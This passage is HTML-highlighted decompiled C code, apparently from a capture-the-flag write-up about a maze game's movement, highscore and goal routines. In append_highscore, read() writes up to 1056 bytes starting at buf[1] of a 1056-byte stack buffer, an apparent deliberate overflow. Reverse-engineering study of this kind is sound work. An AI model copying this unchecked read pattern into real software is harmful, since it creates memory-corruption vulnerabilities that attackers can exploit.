crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-137\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">direction<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-138\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">make_move<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-139\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-140\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">strcasecmp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">east_str_ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">user_input<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&amp;&amp;<\/span> <span class=\"crayon-v\">can_go<\/span><span class=\"crayon-sy\">_<\/span>east <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-141\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-142\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">direction<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-143\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">make_move<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-144\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-145\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">strcasecmp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">south_str_ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">user_input<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&amp;&amp;<\/span> <span class=\"crayon-v\">can_go<\/span><span class=\"crayon-sy\">_<\/span>south <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-146\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-147\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">direction<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-148\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">make_move<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-149\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-150\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;You can not go %s. Where do you want to go (today)? &#8220;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">user_input<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-151\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">free<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-152\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-153\" class=\"crayon-line\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-154\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-155\" class=\"crayon-line\"><span class=\"crayon-c\">\/\/&#8212;&#8211; (0000000000400CE0) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-156\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-t\">void<\/span> <span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">append_highscore<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-157\" class=\"crayon-line\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-158\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">ssize_t <\/span><span class=\"crayon-v\">nread<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rbx@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-159\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">FILE *<\/span><span class=\"crayon-v\">_rax<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rax@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-160\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">FILE *<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ r13@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-161\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">n<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ eax@3<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-162\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1056<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+0h] [bp-420h]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-163\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-164\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;If you want, you can also add your name: &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-165\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1016uLL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-166\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8216;\\n&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-167\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1016<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-168\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">nread<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1056uLL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-169\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">nread<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-170\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-171\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">_rax<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">fopen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;highscore.txt&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;a&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-172\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">fp<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">_rax<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-173\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-i\">_rax<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-174\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-175\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fwrite<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">nread<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">_rax<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-176\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">n<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">__sprintf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1017LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8221; (%d)&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-177\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">n<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-178\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-179\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fwrite<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">n<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-180\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-181\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-182\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-183\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-184\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-185\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-186\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-c\">\/\/&#8212;&#8211; (0000000000400DD0) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-187\" class=\"crayon-line\"><span class=\"crayon-t\">void<\/span> <span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">reached_goal<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-188\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-189\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">FILE *<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ r12@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-190\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rbx@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-191\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er13@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-192\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">len<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er14@8<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-193\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">void<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rsp@13<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-194\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">chr<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+0h] [bp-40h]@3<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-195\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-e\">__int8 <\/span><span class=\"crayon-v\">last_name<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+Fh] [bp-31h]@13<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-196\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-197\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">puts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;You can see the sun!\\nFinally, you are free!&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-198\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">fp<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">fopen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;highscore.txt&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;r&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-199\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-i\">fp<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-200\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-201\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">offset<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-202\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">for<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">i<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-o\">++<\/span><span class=\"crayon-i\">i<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-203\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-204\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">len<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">i<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-205\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-e\">fseek<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-206\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-207\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-e\">fread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">chr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-208\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-209\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-i\">chr<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-210\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-211\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">chr<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-s\">&#8216;\\n&#8217;<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-212\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-213\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-214\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">chr<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-s\">&#8216;\\r&#8217;<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-215\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-216\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-217\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">fseek<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-218\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-219\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-c\">\/\/ allocating a temporary buffer on the stack<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-220\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">ptr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">alloca<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">len<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">15LL<\/span><span class=\"crayon-sy\">)<\/span><span 